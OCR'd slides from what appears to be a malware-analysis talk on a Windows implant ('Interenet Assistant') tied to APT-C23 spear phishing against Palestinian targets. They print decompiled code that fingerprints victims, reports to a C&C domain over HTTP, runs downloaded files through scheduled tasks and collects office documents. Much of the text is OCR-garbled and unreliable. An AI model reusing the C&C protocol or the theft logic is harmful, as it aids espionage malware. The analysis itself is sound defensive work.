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- DriverinstallerU.exe




Fun with Driverl nstal Ie"rU » ]

SHGEtSpecialFolderPathn(B, :pszPath, 35, 8); : ; o ! . ol
U174 = sub_444028(v19); : ¥ o : i B Rt . ’
if ( tv174 ) ' . S ' : i '
{ : .
v124 = "You'll need error handling here?; S
sub_45F21C{&v124, &PA.deinit); ,"
- *

The third parameter of =

Something like this should do:

pointing

s : T " " sub_u25uDB("\\Interenet Assistant™);
F . 3 ) 5 : ke _o-= sub_4254D0(""\\Interenet Assistant\\Interenet Assistant.exe™);



“. .-

OpenMutexA{Bx1FB681u. B8. Name);
ul47 = sub_4440828(uiB);
e if ( vi47 )
{
ui23 = B;

vi79 = -1;
i sub_420F28(&vu169);
2, vié = vi123;
_ j 3
: else
" kg
N .+ | CreateMutexA(B, 6, Name);
= ul47 = sub_ 444028(ul1);
‘& _ u68 = B;
o > u42 = sub_435060({&unk_4CBB94) ;

LI

/7 "InterenetAssistantN"

/7 "InterenetfAssistantN"”




C&C

pdrt = 80;

- dwFlags = -2086849408;

1pszServerName = “lindamullins.info®:

. ul48 = sub_4892F8({(int)&v198, "/api/ZGU2aliNlcw==/Y21WeGRXUnpkSEN9", &szHeaders, &unk_4A6599);
"LOBYTE{v243) = 25;

v187 = sub_435CAB{&v198, v85, (int)&unk_4A659B);
if ( v118 )

"8

v139 sub_41B780("([da-z.-]+).([a-2.]1{2,6})([Fuw .-]*)*/28", 1);
ui38 ui39;
LOBYTE(u243) = 26;

v187 = sub _417F608{v187, (int)&vu198, v139, 8);
vi37 = v119;
vi81 = vi19;

LOBYTE(v243) = 25;
sub_42BE6B(&u188) ;
if ( vi8t1 )
{
vl79 = &U129;
sub_41B938{&v190);
u136 = (const CHAR »*)sub_4868CB{v129);
1pszServerName = vui136:

WNch 21y : 21WeGRXVnkaE'09’...""
ewces/ cmdeWVdeM |
dewces/requests



q o
<,

- u149 = sub_41BADB{BuNK_4AB557);
_LOBYTE(u245) = 19;

x sub_4346C8{" ")
- u118 = sub_467452(L"USERNAME™) ;

. LOBYTE(u245) = 28;

<

o o

¥

u189 = sub_ 46745D("COMPUTERNAME™) ;
sub_4346CB{v169);
u148 = sub 41BC3B({v118);

sub_434336(886);
uis7 = sub_ ME670(&u260);

- LOBYTE(u245) = 21;
. ulh6 = sub_4u23408(&u199, &u261);

LOBYTE{v245) = 22;

sub_4345BB(&u199);

sub_4346CH(" ") ;

uli11 = sub_482C66(6);
sub_46770B{v111);

for ( j = 8; j < 18; ++j )

u197
v167

sub_4676EA() % 26 + 65;
sub_4254A0{{int)&u262, v1087, vi97); =« =



vig = 83
vib “name=%s&os=%s&appname=%s&av=%s"";

vi3 = (void *)sub_409780(&vi5);
‘ul12 = v13;

vi9 = §;

u3 = sub_4350608{v13, xmmB 4 8);

u5 = sub_409BEB({Name, ul}; /7 "InterenetAssistanti’
v6 = wsprintfA(&Optional, vi6, a2, u5);
‘U8 sub_444028({v7, &ull == &uil, vb, v3);
o vl9 = -1;
sub_420F208(&v15); _
v9 = sub_40892F8(v8, a1, “/apli/serv/create”, “Content-Type: application/x-wuww-form-urlencoded"”, &0ptional);

SRS 9 NET _NET4 _0E;
SRS .. Content-Length:
no—cache . . . .name=
sos=Windows Tsappname=Intereneth
stantlH&aw=

E "



Functions

. v273 = “/api/serv/requests/%s";
© Y293 &u275;
usprintfA(&u274, “/api/seru/frequests/%s", &u275);
. sub_4440828(v1);
- while { 1)

- " sub_40892FB((int)&v272, &u274, 0, 6);
" V296 = B;

if { %sub_435CAB{ " ERROR™) )

.4 goto LABEL_76;

_1 271 = sub_43A020{&v272, (int)"sorry Hot", B8); .

& 4

A
.




Functions

JPennyij iy

3 Wo | o wiHelberg } : :
JCelal_Al § : :

Jrunfile } : :

J Nayy$®onmezj : :
JKoothrappali } : :

3 Bi a Gokhan § : :
JHof st adter j
JParsons_Shel donj
J Res h&@trik j : :
JPiI Bjar ;

3 Me h m#a t: :

J Bah6ar

BOST httpg;jjgpghgtuﬁ,cluhj

_User-Bgent: Mozilla/ 4.0 (compsa tlle; H“I
Windows HT &€.1; WOWcd; Trident/
_NET CLR 27; -HET CLE 3.

| -HET CLE 3.0.3 fedia Center BC

4 _0C; _HET4_0E; In_uP th_3) . _.Host:
. .Content-Length: 0._Cache-

h: .- .’"Punn;"'"TIU'“ "Hnlnvl.-_
"False™, "Celal R1":"Felse™ "runfile":"False"
“Hay?ar_Lunru"“'“Falze“,“Huuthrappali“:“Falze
", "Bialik Gokhan":"False",K "Hofstadter™:"False
" "Parsons_Sheldon™:"False™, K "Reshad Strik":"F
Jalse" , "Binar8":"False"™, "HehmetT" :"Falzse™, "Bah
'ﬂrt“'"FﬂlSE"}

r
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Big Bang

IPennyijriye

3 Wo | o widelberg } : , X e e
) ST  u288 = sub_43A08208(“Penny”, 8); LT
JCelal_Al j : , TR T L] T e ) : s

Jrunfile j : , 3 ..+ sub_¥1E@28("'Penny”, 46, v171); -
: . .. LOBYTE(u313) = 1; =
3 o Y o o S SR u121 = sub_4164DB(&U281, &u282). -
3 Nayysonmezj : ’ = -2 sub_422A58(u121);

sub_428F28{&u281) ;
LOBYTE(v313) = 3;
sub_4218DB(&u282) ;

"o if { ?tsub_435CAB{"True”) )
. 1 {

JKoothrappali } : :

3 Bi a Gokhan j : :

JHof st adt er j

JParsons_Shel donj !
3 Res h@trik j - : ﬁT  x”
JPi Bjar : ‘

3 Me h m#a t: :

J Bah6ar




Big Bang

IPennyifrie " sub_41B938(&v280);
. LOBYTE(u313) = 6;
3 Wo | o widelberg § , .7 278 = sub_43A158(L"\\", -1);
ul4 = sub 43COFB(&U279);
JCelal Al § , .. uv128 = sub_442BEB(&v277, v278 + 1, ul);
a . . Sub_422A58(v120);
Jrunfile § : , ‘sub_hZBFZB(&uZ??);
"™ 4318 = (char x*)50;
JNayySonmezij : ’ U5 = sub_4350860(&v279);

sub_466E80(&u276, u5, v3i8);
v318 = {(char *)158;
ub = sub_435060(&u280);

) ) ) - :. sub 466ES8B(&FileName, ué, u318);
3 Bi a Gokhan i : : T 1e73 = < )

JKoothrappali } : :

= "“fapi/serv/requests/%s/Penny";
] u31d = &u292;
JHof st adter j . ‘. wsprintfA (&szObjectName, "/api/serv/requests/%s/Penny”, &u292);
) " sub_444028(vu8, u7);
JParsons_Shel donj G R ; L

JRes hStrik j : , ;; ,"”
IPi ®jar , ‘

3 Me h mag t: ,

J Bah6ar



Big Bang

Pennyij i

3 Wo | o wiHelberg } : :
3Celal_Al § : ,

Jrunfile } : :

3 NayyBonmezj : ,
JKoothrappali } : : |
2B aBdklan i, BN
JHof st adter j: £ s 3 _ ol
JParsons_Shel donj : g I 1..20.2q."2.. B. "_..;::iefghij__mmr-
3} Res hatrik j : : | u'IPMM EEE
JPiI Bjar ,

3 Me h m#a t: :
J Bah6ar




Comments [sIc]

Ainstall prog: There is no old
file In temp

Ainstall prog: Download file
txt and convert it to exe :)

Ainstall prog: Create Task
after 5 min to run File from
tmp

Ainstall prog: prog will delete
old tmp file

ARun file: my prog is Exit.

L if ( v123)
- Bg
vi21 = &u289;
sub_41BADB("'UnVuIEZpbGUGIE15IHByb2cgaXMgRXhpdC4="");
sub_48B8FB{v289);
sub_4676C5(1u);

‘ | sub_ Y1BADB{""UXBKYXR1IHByb2c6IFR0ZXJ1IIG1ZIGSwIGOsZ2CBmalx1IGIuIHR1bEAU™) ;

sub 4BBBFB{u288);
- w59 = sub_ MBADB{"appali™};

- LOB¥TE{uv296) = 5&;
sub_4B8D9AA(&v180, BUu1B2, w50);

.. LOBYTE({v296) = 56;

. 5ub_ 42BF2B8({&ui179);
u2¥ = sub 4B2C6B(H);

« - sub B&FFEB{U27);
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a1l = sub_435CAB{&v29, al, (int)"doc");
if ( tv9 )
goto LABEL_A42;
al = sub_435CA0{&v29, a1, (int)"docx™);
if ( tviB )
goto LABEL 42;
a1l = sub_435CA0{&v29, a1, {int)"odt™);
if ( tvil ) R .
goto LABEL_42; E
a1l = sub_435CA0{&v29, a1, {(int)"xls"); ‘
if ( tv12 )
goto LABEL_ 42;
a1l = sub_435CA0{&v29, a1, (int)"xlsxz™);

if { tv13
|l (a1l = sub_435CAB({(&v29, a1, (int)"ppt™), ftull)
Il (a1 = sub_435CAB(&v29, a1, (int)"pptx"), tuis5)
|| (a1l = sub_435CAB{&vu29, a1, (int)"accdb™), ?tvid)
= |l (a1l = sub_435CAB{&v29, a1, (int)"accde"), tvl7)
|| (a1l = sub_u435CAB(&v29, a1, (int)"mdb"), ?tv1i8)
|| (a1l = sub_435CAB(&u29, a1, (int)"pdf"), tul9)
|| (a1l = sub_435CAB(&v29, a1, (int)"csu™), tu28) )
: {
& LABEL 42:
3 ‘ sub_443D18(a2, {const char *)L"%s\n", (unsigned int)&FileName);
b

.doc, docx, odt , XIs’, xlsx, ppt, pptx, ~ accdb, accde , mdb , pdf, csv
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Malware Overview

APersistent

AC&C address, backup
AFingerprints victims
AMultiple functionalities
AMulti -stage attack

A Specific victims




Similar Samples?

AlInterenetAssistant
AWinGraphicDriver
ABMW x 1, BMW x2, BMW x8
A Same functionality
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~Connections to APT-C23
o Delphi Used To Smré ﬁgaimat F.-‘aLeati.nel . R

This blog was authored by Paul Rascagneres and Warren Mercer with contributions from Emmanuel

Tacheau, Vanja Svajcer and Martin Lee.

EXECUTIVE SUMMARY

Talos continuously monitors malicious emails campaigns. We identified one specific spear phishing

campaign launched against targets within Palestine, and specifically against Palestinian law enforcement
agencies. This campaign started in April 2017, using a spear phishing campaign to deliver the MICROPSIA
payload in order to remotely control infected systems. Although this technigue is not new, it remains an
effective technigue for attackers.

.

-~ (Credit:



Con nections to APT—C-.'Z ¥

The decoy document displayed, InternetPolicy.pdf, is a scanned document by the Ministry Of Interior of the
State Of Palestine, signed by Dr Alaa Mousa, Minister of Communications & Technologies:

A6 S
2016M2MEA 18K pb 2
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The decoy document displayed, InternetPolicy.pdf, is a scanned document by the Ministry Of Interior of the
State Of Palestine, signed by Dr Alaa Mousa, Minister of Communications & Technologies:

Seate O Palestins
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